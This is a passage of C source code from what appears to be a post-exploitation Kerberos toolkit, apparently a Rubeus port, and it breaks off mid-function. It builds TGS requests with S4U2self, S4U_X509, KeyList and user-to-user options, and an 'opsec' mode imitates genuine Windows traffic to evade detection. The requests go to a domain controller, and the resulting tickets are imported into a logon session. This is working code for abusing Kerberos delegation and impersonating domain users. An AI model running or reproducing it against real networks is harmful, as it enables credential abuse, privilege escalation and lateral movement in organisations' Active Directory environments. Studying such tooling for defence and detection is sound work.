submitRequest->MessageType = KerbSubmitTicketMessage;\n        submitRequest->KerbCredSize = decode_ticket_size;\n        submitRequest->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);\n        if (IsHighIntegrity)\n            submitRequest->LogonId = targetLuid;\n        else\n            submitRequest->LogonId = (LUID){ 0 };\n\n        MemCpy((PBYTE)submitRequest + submitRequest->KerbCredOffset, decode_ticket, decode_ticket_size);\n\n        NTSTATUS protocolStatus = 0;\n        ULONG    responseSize = 0;\n        void* response = 0;\n        if (SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, submitRequest, submitSize, &response, &responseSize, &protocolStatus) || protocolStatus)\n            PRINT_OUT(\"\\n[X] Ticket not imported.\\n\");\n        else\n            PRINT_OUT(\"\\n[+] Ticket successfully imported.\\n\");\n    }\n    SECUR32$LsaDeregisterLogonProcess(hLsa);\n}\n\n\n\nbyte* ADRestrictionEntry_buildTokenStruct(uint flags, uint tokenIL) {\n    byte* data = MemAlloc(40);\n\n    data[0] = (byte)(flags >> 24);\n    data[1] = (byte)(flags >> 16);\n    data[2] = (byte)(flags >> 8);\n    data[3] = (byte)(flags);\n    data[4] = (byte)(tokenIL >> 24);\n    data[5] = (byte)(tokenIL >> 16);\n    data[6] = (byte)(tokenIL >> 8);\n    data[7] = (byte)(tokenIL);\n    ADVAPI32$SystemFunction036(data + 8, 32);\n    return data;\n}\n\n\n\nBOOL New_PA_DATA_s4uX509user(EncryptionKey key, char* name, char* realm, uint nonce, int eType, PA_DATA* pa_data) {\n\n    PA_S4U_X509_USER* pa = MemAlloc(sizeof(PA_S4U_X509_USER));\n    pa->user_id.nonce = nonce;\n    pa->user_id.options = 0x20000000;\n    if (my_copybuf(&(pa->user_id.crealm), realm, my_strlen(realm) + 1)) return TRUE;\n    pa->user_id.cname.name_type = PRINCIPAL_NT_ENTERPRISE;\n    pa->user_id.cname.name_count = 1;\n    pa->user_id.cname.name_string = MemAlloc(sizeof(void*) * pa->user_id.cname.name_count);\n    if (my_copybuf(&(pa->user_id.cname.name_string[0]), name, my_strlen(name) + 1)) return TRUE;\n\n    AsnElt userIDAsn = { 0 }, userIDSeq = { 0 };\n    if (AsnS4UUserIDEncode(&(pa->user_id), &userIDAsn)) return TRUE;\n    if (Make3(ASN_SEQUENCE, &userIDAsn, 1, &userIDSeq)) return TRUE;\n\n    int userIDBytes_length = ValueLength(&userIDSeq);\n    byte* userIDBytes = MemAlloc(userIDBytes_length);\n    userIDBytes_length = EncodeValue(&userIDSeq, 0, userIDBytes_length, userIDBytes, 0);\n\n    byte* cksumBytes = NULL;\n    int cksumBytesLength = 0;\n\n    if (eType == aes256_cts_hmac_sha1)\n        if (checksum(key.key_value, key.key_size, userIDBytes, userIDBytes_length, KERB_CHECKSUM_HMAC_SHA1_96_AES256, KRB_KEY_USAGE_PA_S4U_X509_USER, &cksumBytes, &cksumBytesLength)) return TRUE;\n    if (eType == aes128_cts_hmac_sha1)\n        if (checksum(key.key_value, key.key_size, userIDBytes, userIDBytes_length, KERB_CHECKSUM_HMAC_SHA1_96_AES128, KRB_KEY_USAGE_PA_S4U_X509_USER, &cksumBytes, &cksumBytesLength)) return TRUE;\n    if (eType == rc4_hmac)\n        if (checksum(key.key_value, key.key_size, userIDBytes, userIDBytes_length, KERB_CHECKSUM_RSA_MD4, KRB_KEY_USAGE_PA_S4U_X509_USER, &cksumBytes, &cksumBytesLength)) return TRUE;\n\n    pa->cksum.cksumtype = KERB_CHECKSUM_HMAC_SHA1_96_AES256;\n    pa->cksum.checksum_length = cksumBytesLength;\n    pa->cksum.checksum = cksumBytes;\n\n    pa_data->type = PADATA_PA_S4U_X509_USER;\n    pa_data->value = pa;\n    return FALSE;\n}\n\nBOOL New_PA_DATA_s4u2self(EncryptionKey key, char* name, char* realm, PA_DATA* pa_data) {\n    int realm_length = my_strlen(realm);\n    int name_length = my_strlen(name);\n\n    PA_FOR_USER* pa = MemAlloc(sizeof(PA_FOR_USER));\n\n    pa->userName.name_count = 1;\n    pa->userName.name_type = PRINCIPAL_NT_ENTERPRISE;\n    pa->userName.name_string = MemAlloc(sizeof(void*) * pa->userName.name_count);\n    if (!pa->userName.name_string) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n\n    if (my_copybuf(&(pa->userName.name_string[0]), name, name_length + 1)) return TRUE;\n    if (my_copybuf(&(pa->userRealm), realm, realm_length + 1)) return TRUE;\n    if (my_copybuf(&(pa->auth_package), \"Kerberos\", 9)) return TRUE;\n\n    byte nameTypeBytes[] = { 0,0,0,0 };\n    nameTypeBytes[0] = 0xa;\n    byte* finalBytes = MemAlloc(4 + name_length + realm_length + 8);\n    MemCpy(finalBytes, nameTypeBytes, 4);\n    MemCpy(finalBytes + 4, name, name_length);\n    MemCpy(finalBytes + 4 + name_length, realm, realm_length);\n    MemCpy(finalBytes + 4 + name_length + realm_length, pa->auth_package, 8);\n\n    byte* outBytes = NULL;\n    int outBytesLength = 0;\n    if (checksum(key.key_value, key.key_size, finalBytes, 4 + name_length + realm_length + 8, KERB_CHECKSUM_HMAC_MD5, KRB_KEY_USAGE_KRB_NON_KERB_CKSUM_SALT, &outBytes, &outBytesLength)) return TRUE;\n\n    pa->cksum.cksumtype = KERB_CHECKSUM_HMAC_MD5;\n    pa->cksum.checksum_length = outBytesLength;\n    pa->cksum.checksum = outBytes;\n\n    pa_data->type = PADATA_S4U2SELF;\n    pa_data->value = pa;\n    return FALSE;\n}\n\nBOOL New_PA_DATA_KeyListReq(int eType, PA_DATA* pa_data) {\n    PA_KEY_LIST_REQ* pa = MemAlloc(sizeof(PA_KEY_LIST_REQ));\n    pa->Enctype = eType;\n\n    pa_data->type = PADATA_KEY_LIST_REQ;\n    pa_data->value = pa;\n    return FALSE;\n}\n\nBOOL New_PA_DATA_options(BOOL claims, BOOL branch, BOOL fullDC, BOOL rbcd, PA_DATA* pa_data) {\n    PA_PAC_OPTIONS* pac = MemAlloc(sizeof(PA_PAC_OPTIONS));\n    if (claims) pac->kerberosFlags[0] = (byte)(pac->kerberosFlags[0] | 8);\n    if (branch) pac->kerberosFlags[0] = (byte)(pac->kerberosFlags[0] | 4);\n    if (fullDC) pac->kerberosFlags[0] = (byte)(pac->kerberosFlags[0] | 2);\n    if (rbcd) pac->kerberosFlags[0] = (byte)(pac->kerberosFlags[0] | 1);\n    pac->kerberosFlags[0] = (byte)(pac->kerberosFlags[0] * 0x10);\n\n    pa_data->type = PADATA_PA_PAC_OPTIONS;\n    pa_data->value = pac;\n    return FALSE;\n}\n\nBOOL New_PA_DATA(char* crealm, char* cname, Ticket providedTicket, EncryptionKey clientKey, BOOL opsec, byte* req_body, int req_body_length, PA_DATA* pa_data) {\n\n    AP_REQ* ap_req = MemAlloc(sizeof(AP_REQ));\n    if (!ap_req) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n    ap_req->pvno = 5;\n    ap_req->msg_type = KERB_AP_REQ;\n    ap_req->ap_options = 0;\n    ap_req->ticket = providedTicket;\n    ap_req->keyUsage = KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR;\n    ap_req->key = clientKey;\n\n    DateTime dt = GetGmTimeAdd(0);\n\n    if (my_copybuf(&(ap_req->authenticator.crealm), crealm, my_strlen(crealm) + 1)) return TRUE;\n\n    ap_req->authenticator.authenticator_vno = 5;\n    ap_req->authenticator.ctime = dt;\n    ap_req->authenticator.cname.name_count = 1;\n    ap_req->authenticator.cname.name_type = PRINCIPAL_NT_PRINCIPAL;\n    ap_req->authenticator.cname.name_string = MemAlloc(sizeof(void*) * ap_req->authenticator.cname.name_count);\n    if (!ap_req->authenticator.cname.name_string) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n    if (my_copybuf(&(ap_req->authenticator.cname.name_string[0]), cname, my_strlen(cname) + 1)) return TRUE;\n\n    if (opsec) {\n        ADVAPI32$SystemFunction036(&(ap_req->authenticator.seq_number), 4);\n        PRINT_OUT(\"[+] Sequence number is: %u\\n\", ap_req->authenticator.seq_number);\n        ADVAPI32$SystemFunction036(&(ap_req->authenticator.cusec), 4);\n        ap_req->authenticator.cusec = ap_req->authenticator.cusec % 1000000;\n\n        if (req_body) {\n            ap_req->authenticator.cksum.cksumtype = KERB_CHECKSUM_RSA_MD5;\n            ap_req->authenticator.cksum.checksum_length = req_body_length;\n            ap_req->authenticator.cksum.checksum = req_body;\n        }\n    }\n\n    pa_data->type = PADATA_AP_REQ;\n    pa_data->value = ap_req;\n    return FALSE;\n}\n\nBOOL NewTGS_REP(AsnElt asn_TGS_REP, TGS_REP* tgs_rep) {\n    if (asn_TGS_REP.tagValue != KERB_TGS_REP) {\n        PRINT_OUT(\"TGS-REP tag value should be 13\");\n        return TRUE;\n    }\n    if ((asn_TGS_REP.subCount != 1) || (asn_TGS_REP.sub[0].tagValue != 16)) {\n        PRINT_OUT(\"First TGS-REP sub should be a sequence\");\n        return TRUE;\n    }\n\n    // extract the KDC-REP out\n    AsnElt* kdc_rep = asn_TGS_REP.sub[0].sub;\n    for (int i = 0; i < asn_TGS_REP.sub[0].subCount; i++) {\n        int tagValue = kdc_rep[i].tagValue;\n        if ( tagValue == 0 ) {\n            if (AsnGetInteger(&(kdc_rep[i].sub[0]), &(tgs_rep->pvno))) return TRUE;\n        }\n        if ( tagValue == 1 ) {\n            if (AsnGetInteger(&(kdc_rep[i].sub[0]), &(tgs_rep->msg_type))) return TRUE;\n        }\n        if ( tagValue == 2 ) {\n            if (AsnGetPaData(&(kdc_rep[i].sub[0]), &(tgs_rep->padata))) return TRUE;\n        }\n        if ( tagValue == 3 ) {\n            if (AsnGetString(&(kdc_rep[i].sub[0]), &(tgs_rep->crealm))) return TRUE;\n        }\n        if ( tagValue == 4 ) {\n            if (AsnGetPrincipalName(&(kdc_rep[i].sub[0]), &(tgs_rep->cname))) return TRUE;\n        }\n        if ( tagValue == 5 ) {\n            if (AsnGetTicket(&(kdc_rep[i].sub[0].sub[0]), &(tgs_rep->ticket))) return TRUE;\n        }\n        if ( tagValue == 6 ) {\n            if (AsnGetEncryptedData(&(kdc_rep[i].sub[0]), &(tgs_rep->enc_part))) return TRUE;\n        }\n    }\n    return FALSE;\n}\n\nBOOL NewTGS_REQ(char* userName, char* domain, char* sname, Ticket providedTicket, EncryptionKey clientKey, int requestEType, byte* tgs, BOOL opsec, BOOL u2u, BOOL unconstrained, char* targetDomain, char* s4uUser, BOOL keyList, BOOL renew, byte** reqBytes, int* reqBytesSize) {\n    AS_REQ req = { 0 };\n\n    req.pvno = 5;\n    req.msg_type = 12;\n\n    req.req_body.kdc_options = FORWARDABLE | RENEWABLE | RENEWABLEOK;\n    req.req_body.till = 24 * 3600;\t\t // valid for 1h\n    ADVAPI32$SystemFunction036(&(req.req_body.nonce), 4);\n\n    if (!opsec && !u2u) {\n        req.req_body.cname.name_type = PRINCIPAL_NT_PRINCIPAL;\n        req.req_body.cname.name_count = 1;\n        req.req_body.cname.name_string = MemAlloc(sizeof(void*) * req.req_body.cname.name_count);\n        if (!req.req_body.cname.name_string) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        if (my_copybuf(&(req.req_body.cname.name_string[0]), userName, my_strlen(userName) + 1)) return TRUE;\n    }\n\n    if (targetDomain == NULL)\n        if (my_copybuf(&targetDomain, domain, my_strlen(domain) + 1)) return TRUE;\n\n    int partsCount = 0;\n    char** parts = my_strsplit( sname, '/', &partsCount );\n\n    if (my_copybuf(&req.req_body.realm, targetDomain, my_strlen(targetDomain) + 1)) return TRUE;\n    StrToUpper(req.req_body.realm);\n\n    req.req_body.etypes_count = 0;\n    int etypeIndex = 0;\n    if (s4uUser && opsec)\n        req.req_body.etypes_count += 1;\n\n    if (requestEType == subkey_keymaterial) {\n        req.req_body.etypes_count += 4;\n        req.req_body.etypes = MemAlloc(sizeof(int) * req.req_body.etypes_count);\n        if (!req.req_body.etypes) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        req.req_body.etypes[etypeIndex++] = aes256_cts_hmac_sha1;\n        req.req_body.etypes[etypeIndex++] = aes128_cts_hmac_sha1;\n        req.req_body.etypes[etypeIndex++] = rc4_hmac;\n        req.req_body.etypes[etypeIndex++] = rc4_hmac_exp;\n    }\n    else if (opsec && (partsCount > 1) && my_strcmp(parts[0], \"krbtgt\")) {\n        req.req_body.etypes_count += 5;\n        req.req_body.etypes = MemAlloc(sizeof(int) * req.req_body.etypes_count);\n        if (!req.req_body.etypes) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        req.req_body.etypes[etypeIndex++] = aes256_cts_hmac_sha1;\n        req.req_body.etypes[etypeIndex++] = aes128_cts_hmac_sha1;\n        req.req_body.etypes[etypeIndex++] = rc4_hmac;\n        req.req_body.etypes[etypeIndex++] = rc4_hmac_exp;\n        req.req_body.etypes[etypeIndex++] = old_exp;\n    }\n    else {\n        req.req_body.etypes_count += 1;\n        req.req_body.etypes = MemAlloc(sizeof(int) * req.req_body.etypes_count);\n        if (!req.req_body.etypes) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        req.req_body.etypes[etypeIndex++] = requestEType;\n    }\n\n    if (s4uUser) {\n        if (u2u) {\n            req.req_body.kdc_options = req.req_body.kdc_options | CANONICALIZE | ENCTKTINSKEY | FORWARDABLE | RENEWABLE | RENEWABLEOK;\n            req.req_body.sname.name_type = PRINCIPAL_NT_UNKNOWN;\n            req.req_body.sname.name_count = 1;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            my_copybuf(&(req.req_body.sname.name_string[0]), sname, my_strlen(sname) + 1);\n        }\n        else {\n            req.req_body.sname.name_type = PRINCIPAL_NT_PRINCIPAL;\n            req.req_body.sname.name_count = 1;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            my_copybuf(&(req.req_body.sname.name_string[0]), userName, my_strlen(userName) + 1);\n        }\n\n        if (opsec)\n            req.req_body.etypes[etypeIndex++] = old_exp;\n        else\n            req.req_body.kdc_options = req.req_body.kdc_options | ENCTKTINSKEY;\n    }\n    else if (u2u) {\n        req.req_body.kdc_options = req.req_body.kdc_options | CANONICALIZE | ENCTKTINSKEY | FORWARDABLE | RENEWABLE | RENEWABLEOK;\n        req.req_body.sname.name_type = PRINCIPAL_NT_PRINCIPAL;\n        req.req_body.sname.name_count = 1;\n        req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n        my_copybuf(&(req.req_body.sname.name_string[0]), sname, my_strlen(sname) + 1);\n    }\n    else {\n        if (partsCount == 1) {\n            // service and other unique instance (e.g. krbtgt)\n            req.req_body.sname.name_type = PRINCIPAL_NT_SRV_INST;\n            req.req_body.sname.name_count = 2;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            my_copybuf(&(req.req_body.sname.name_string[0]), parts[0], my_strlen(parts[0]) + 1);\n            my_copybuf(&(req.req_body.sname.name_string[1]), domain, my_strlen(domain) + 1);\n        }\n        else if (partsCount == 2) {\n            //      SPN (sname/server.domain.com)\n            req.req_body.sname.name_type = PRINCIPAL_NT_SRV_INST;\n            req.req_body.sname.name_count = 2;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            my_copybuf(&(req.req_body.sname.name_string[0]), parts[0], my_strlen(parts[0]) + 1);\n            my_copybuf(&(req.req_body.sname.name_string[1]), parts[1], my_strlen(parts[1]) + 1);\n        }\n        else if (partsCount == 3) {\n            //      SPN (sname/server.domain.com/blah)\n            req.req_body.sname.name_type = PRINCIPAL_NT_SRV_HST;\n            req.req_body.sname.name_count = 3;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            my_copybuf(&(req.req_body.sname.name_string[0]), parts[0], my_strlen(parts[0]) + 1);\n            my_copybuf(&(req.req_body.sname.name_string[1]), parts[1], my_strlen(parts[1]) + 1);\n            my_copybuf(&(req.req_body.sname.name_string[2]), parts[2], my_strlen(parts[2]) + 1);\n        }\n        else {\n            PRINT_OUT(\"[X] Error: invalid TGS_REQ sname '%s'\\n\", sname);\n        }\n    }\n\n    if (renew)\n        req.req_body.kdc_options = req.req_body.kdc_options | RENEW;\n\n    KRB_CRED kirbi_tgs = { 0 };\n    if (tgs) {\n        int bytesTgsSize = 0;\n        byte* bytesTgs = base64_decode(tgs, &bytesTgsSize);\n\n        AsnElt   asn_KRB_CRED = { 0 };\n        if (BytesToAsnDecode3(bytesTgs, bytesTgsSize, FALSE, &asn_KRB_CRED)) return TRUE;\n\n        if (AsnGetKrbCred(&(asn_KRB_CRED.sub[0]), &kirbi_tgs)) return TRUE;\n\n        req.req_body.additional_tickets_count = 1;\n        req.req_body.additional_tickets = MemAlloc(sizeof(Ticket) * req.req_body.additional_tickets_count);\n        req.req_body.additional_tickets[0] = kirbi_tgs.tickets[0];\n        if (!u2u) {\n            req.req_body.kdc_options = req.req_body.kdc_options | CONSTRAINED_DELEGATION | CANONICALIZE;\n            req.req_body.kdc_options = req.req_body.kdc_options ^ (req.req_body.kdc_options & RENEWABLEOK);\n        }\n    }\n    if (keyList)\n        req.req_body.kdc_options = CANONICALIZE;\n\n    byte* cksum_Bytes = NULL;\n    int cksum_Bytes_length = 0;\n\n    if (opsec) {\n        req.req_body.kdc_options = req.req_body.kdc_options | CANONICALIZE;\n        if (unconstrained)\n            req.req_body.kdc_options = req.req_body.kdc_options | FORWARDED;\n        else\n            req.req_body.kdc_options = req.req_body.kdc_options ^ (req.req_body.kdc_options & RENEWABLEOK);\n\n        // get hostname and hostname of SPN\n        int size = MAX_COMPUTERNAME_LENGTH + 2;\n        char* hostname = MemAlloc(size);\n        if (!hostname) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        KERNEL32$GetComputerNameA(hostname, &size);\n        int netbiosSize = 16;\n        int numSpaces = (size < netbiosSize) ? (netbiosSize - size) : 0;\n        int i = 0;\n        for (; i < numSpaces; i++)\n            hostname[size + i] = ' ';\n        hostname[size + numSpaces] = 0;\n\n        char* targetHostName;\n        if (partsCount > 1) {\n            int substrIndex = my_strfind(parts[1], '.');\n            if (substrIndex < 0)\n                substrIndex = my_strlen(parts[1]) + 1;\n\n            my_copybuf(&(targetHostName), parts[1], substrIndex);\n            targetHostName[substrIndex] = 0;\n            StrToUpper(targetHostName);\n        }\n        else {\n            my_copybuf(&(targetHostName), hostname, my_strlen(hostname) + 1);\n        }\n\n        // create enc-authorization-data if target host is not the local machine\n        if (my_strcmp(hostname, targetHostName) && (s4uUser == NULL) && !unconstrained) {\n            ADIfRelevant ifrelevant = { 0 };\n            ifrelevant.ad_type = 1;\n            ifrelevant.ADData_count = 2;\n            ifrelevant.ADData = MemAlloc(2 * sizeof(void*));\n\n            ADRestrictionEntry restrictions = { 0 };\n            restrictions.ad_type = 141; // KERB_AUTH_DATA_TOKEN_RESTRICTIONS;\n            restrictions.restriction_type = 0;\n            restrictions.restriction_length = 40;\n            restrictions.restriction = ADRestrictionEntry_buildTokenStruct(1, 8192);\n\n            ADKerbLocal kerbLocal = { 0 };\n            kerbLocal.ad_type = 142; // KERB_LOCAL\n            kerbLocal.ad_data_length = 16;\n            kerbLocal.ad_data = MemAlloc(16);\n            ADVAPI32$SystemFunction036(kerbLocal.ad_data, 16);\n\n            ifrelevant.ADData[0] = &restrictions;\n            ifrelevant.ADData[1] = &kerbLocal;\n\n            AsnElt authDataSeq = { 0 }, authDataSeqContext = { 0 };\n            if (AsnADIfRelevantEncode(&ifrelevant, &authDataSeq)) return TRUE;\n            if (Make3(ASN_SEQUENCE, &authDataSeq, 1, &authDataSeqContext)) return TRUE;\n\n            byte* authorizationDataBytes = NULL;\n            int authorizationDataBytesLegth = 0;\n            if (AsnToBytesEncode(&authDataSeqContext, &authorizationDataBytesLegth, &authorizationDataBytes)) return TRUE;\n\n            req.req_body.enc_authorization_data.etype = clientKey.key_type;\n\n            byte* enc_authorization_data = NULL;\n            int enc_authorization_data_length = 0;\n            if (encrypt(authorizationDataBytes, authorizationDataBytesLegth, clientKey.key_value, clientKey.key_type, KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA,\n                        &(req.req_body.enc_authorization_data.cipher), &(req.req_body.enc_authorization_data.cipher_size))) return TRUE;\n        }\n\n        // S4U requests have a till time of 15 minutes in the future\n        if (s4uUser)\n            req.req_body.till = 900; // + 15 min\n\n        // encode req_body for authenticator cksum\n        AsnElt req_Body_ASN = { 0 }, req_Body_ASNSeq = { 0 }, req_Body_ASNSeqContext = { 0 };\n        if (AsnKDCReqBodyEncode(&(req.req_body), &req_Body_ASN)) return TRUE;\n        if (Make3(ASN_SEQUENCE, &req_Body_ASN, 1, &req_Body_ASNSeq)) return TRUE;\n        if (MakeImplicit(ASN_CONTEXT, 4, &req_Body_ASNSeq, &req_Body_ASNSeqContext)) return TRUE;\n\n        int req_Body_Bytes_length = ValueLength(&req_Body_ASNSeqContext);\n        byte* req_Body_Bytes = MemAlloc(req_Body_Bytes_length);\n        req_Body_Bytes_length = EncodeValue(&req_Body_ASNSeqContext, 0, req_Body_Bytes_length, req_Body_Bytes, 0);\n\n        checksum(clientKey.key_value, clientKey.key_size, req_Body_Bytes, req_Body_Bytes_length, KERB_CHECKSUM_RSA_MD5, KRB_KEY_USAGE_KRB_NON_KERB_CKSUM_SALT, &cksum_Bytes, &cksum_Bytes_length);\n    }\n\n    // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc.\n    PA_DATA padata = { 0 };\n    if (New_PA_DATA(domain, userName, providedTicket, clientKey, opsec, cksum_Bytes, cksum_Bytes_length, &padata)) return TRUE;\n\n    req.pa_data_count = 1 + (opsec && s4uUser) + (s4uUser || opsec || (tgs && !u2u)) + keyList;\n    int padata_index = 0;\n    req.pa_data = MemAlloc(req.pa_data_count * sizeof(PA_DATA));\n    req.pa_data[padata_index++] = padata;\n\n    // Add PA-DATA for KeyList request\n    if (keyList) {\n        PA_DATA keyListPaData = { 0 };\n        if (New_PA_DATA_KeyListReq(rc4_hmac, &keyListPaData)) return TRUE;\n        req.pa_data[padata_index++] = keyListPaData;\n    }\n\n    if (opsec && s4uUser) {\n        // real packets seem to lowercase the domain in these 2 PA_DATA's\n        StrToLower(domain);\n        PA_DATA s4upadata = { 0 };\n        if (New_PA_DATA_s4uX509user(clientKey, s4uUser, domain, req.req_body.nonce, clientKey.key_type, &s4upadata)) return TRUE;\n        req.pa_data[padata_index++] = s4upadata;\n    }\n\n    // add final S4U PA-DATA\n    if (s4uUser) {\n        // constrained delegation yo'\n        PA_DATA s4upadata = { 0 };\n        if (New_PA_DATA_s4u2self(clientKey, s4uUser, domain, &s4upadata)) return TRUE;\n        req.pa_data[padata_index++] = s4upadata;\n    }\n    else if (opsec) {\n        PA_DATA padataoptions = { 0 };\n        if (New_PA_DATA_options(FALSE, TRUE, FALSE, FALSE, &padataoptions)) return TRUE;\n        req.pa_data[padata_index++] = padataoptions;\n    }\n    else if (tgs && !u2u) {\n        PA_DATA padataoptions = { 0 };\n        if (New_PA_DATA_options(FALSE, FALSE, FALSE, TRUE, &padataoptions)) return TRUE;\n        req.pa_data[padata_index++] = padataoptions;\n    }\n\n    AsnElt reqAsn = { 0 };\n    if (ReqToAsnEncode(req, 12, &reqAsn)) return TRUE;\n    if (AsnToBytesEncode(&reqAsn, reqBytesSize, reqBytes)) return TRUE;\n\n    if (opsec && s4uUser)\n        StrToUpper(domain);\n\n    return FALSE;\n}\n\nBOOL NewTGS_target_REQ(char* userName, char* user, char* domain, char* targetUsername, char* targetDomain, Ticket providedTicket, EncryptionKey clientKey, int requestEType, BOOL cross, char* requestDomain, byte** reqBytes, int* reqBytesSize) {\n    AS_REQ req = { 0 };\n\n    req.pvno = 5;\n    req.msg_type = 12;\n\n    req.req_body.kdc_options = FORWARDABLE | RENEWABLE | RENEWABLEOK;\n    req.req_body.till = 24 * 3600;\t\t    // valid for 1h\n    ADVAPI32$SystemFunction036(&(req.req_body.nonce), 4);\n\n    // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc.\n    PA_DATA padata = { 0 };\n    if (New_PA_DATA(domain, user, providedTicket, clientKey, FALSE, NULL, 0, &padata)) return TRUE;\n\n    req.pa_data_count = 2;\n    req.pa_data = MemAlloc(req.pa_data_count * sizeof(PA_DATA));\n    req.pa_data[0] = padata;\n\n    // which domain is the \"local\" domain for this TGS\n    if (cross) {\n        if (requestDomain) {\n            if (my_copybuf(&(req.req_body.realm), requestDomain, my_strlen(requestDomain) + 1)) return TRUE;\n        } else {\n            if (my_copybuf(&(req.req_body.realm), targetDomain, my_strlen(targetDomain) + 1)) return TRUE;\n        }\n    }\n    else {\n        if (my_copybuf(&(req.req_body.realm), domain, my_strlen(domain) + 1)) return TRUE;\n    }\n\n    // add in our encryption types\n    if (requestEType == subkey_keymaterial) {\n        // normal behavior\n        req.req_body.etypes_count = 4;\n        req.req_body.etypes = MemAlloc(sizeof(int) * req.req_body.etypes_count);\n        req.req_body.etypes[0] = aes256_cts_hmac_sha1;\n        req.req_body.etypes[1] = aes128_cts_hmac_sha1;\n        req.req_body.etypes[2] = rc4_hmac;\n        req.req_body.etypes[3] = rc4_hmac_exp;\n    }\n    else {\n        // add in the supported etype specified\n        req.req_body.etypes_count = 1;\n        req.req_body.etypes = MemAlloc(sizeof(int) * req.req_body.etypes_count);\n        req.req_body.etypes[0] = requestEType;\n    }\n\n    PA_DATA s4upadata = { 0 };\n    if (New_PA_DATA_s4u2self(clientKey, targetUsername, targetDomain, &s4upadata)) return TRUE;\n    req.pa_data[1] = s4upadata;\n\n    req.req_body.sname.name_type = PRINCIPAL_NT_ENTERPRISE;\n    req.req_body.sname.name_count = 1;\n    req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n    my_copybuf(&(req.req_body.sname.name_string[0]), userName, my_strlen(userName) + 1);\n\n    req.req_body.kdc_options = req.req_body.kdc_options | CANONICALIZE | FORWARDABLE;\n    req.req_body.kdc_options = req.req_body.kdc_options ^ (req.req_body.kdc_options & RENEWABLEOK) ^ (req.req_body.kdc_options & RENEW);\n\n    AsnElt reqAsn = { 0 };\n    if (ReqToAsnEncode(req, 12, &reqAsn)) return TRUE;\n    if (AsnToBytesEncode(&reqAsn, reqBytesSize, reqBytes)) return TRUE;\n\n    return FALSE;\n}\n\nBOOL TGS(char* userName, char* domain, Ticket providedTicket, EncryptionKey clientKey, char* service, int requestEType, char* domainController, byte* tgs, BOOL opsec, BOOL ptt, BOOL u2u, char* targetDomain, char* targetUser, BOOL display, BOOL keyList, byte** retTgsBytes, int* retTgsBytesLength /*BOOL roast = FALSE, string asrepkey = \"\" */) {\n\n    PRINT_OUT(\"\\n[*] Building TGS - REQ request for: '%s'\\n\", service);\n\n    byte* tgsBytes = NULL;\n    int\t  tgsBytesLength = 0;\n    if (NewTGS_REQ(userName, domain, service, providedTicket, clientKey, requestEType, tgs, opsec, u2u, FALSE, targetDomain, targetUser, keyList, FALSE, &tgsBytes, &tgsBytesLength)) return TRUE;\n\n    byte* response = NULL;\n    int   responseSize = 0;\n    sendBytes(domainController, \"88\", tgsBytes, tgsBytesLength, &response, &responseSize);\n    if (responseSize == 0)\n        return TRUE;\n\n    // decode the supplied bytes to an AsnElt object\n    AsnElt responseAsn = { 0 };\n    if (BytesToAsnDecode(response, responseSize, &responseAsn)) return TRUE;\n\n    if (responseAsn.tagValue == KERB_TGS_REP) {\n        if (display)\n            PRINT_OUT(\"[+] TGS request successful!\\n\");\n\n        // parse the response to an TGS-REP\n        TGS_REP rep = { 0 };\n        if (NewTGS_REP(responseAsn, &rep)) return TRUE;\n\n        byte* outBytes = NULL;\n        int  outBytesLength = 0;\n        if (decrypt(clientKey.key_value, clientKey.key_type, KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, rep.enc_part.cipher, rep.enc_part.cipher_size, &outBytes, &outBytesLength)) return TRUE;\n\n        AsnElt ae = { 0 };\n        if (BytesToAsnDecode(outBytes, outBytesLength, &ae)) return TRUE;\n\n        EncKDCRepPart encRepPart = { 0 };\n        if (AsnGetEncKDCRepPart(&(ae.sub[0]), &encRepPart)) return TRUE;\n\n        EncryptionKey keyListHash = { 0 };\n\n        // build the final KRB-CRED structure\n        KRB_CRED cred = { 0 };\n        cred.pvno = 5;\n        cred.msg_type = 22;\n        cred.ticket_count = 1;\n        cred.tickets = MemAlloc(cred.ticket_count * sizeof(Ticket));\n        if (!cred.tickets) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        cred.tickets[0] = rep.ticket;\n\n        // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart\n        KrbCredInfo info = { 0 };\n\n        info.key = encRepPart.key;\n        if (my_copybuf(&(info.key.key_value), encRepPart.key.key_value, encRepPart.key.key_size)) return TRUE;\n\n        if (my_copybuf(&(info.prealm), rep.crealm, my_strlen(rep.crealm) + 1)) return TRUE;\n\n        info.pname = rep.cname;\n        info.pname.name_string = MemAlloc(info.pname.name_count * sizeof(void*));\n        for (int i = 0; i < info.pname.name_count; i++)\n            if (my_copybuf(&(info.pname.name_string[i]), rep.cname.name_string[i], my_strlen(rep.cname.name_string[i]) + 1)) return TRUE;\n\n        info.flags = encRepPart.flags;\n        info.starttime = encRepPart.starttime;\n        info.endtime = encRepPart.endtime;\n        info.renew_till = encRepPart.renew_till;\n\n        if (my_copybuf(&(info.srealm), rep.crealm, my_strlen(rep.crealm) + 1)) return 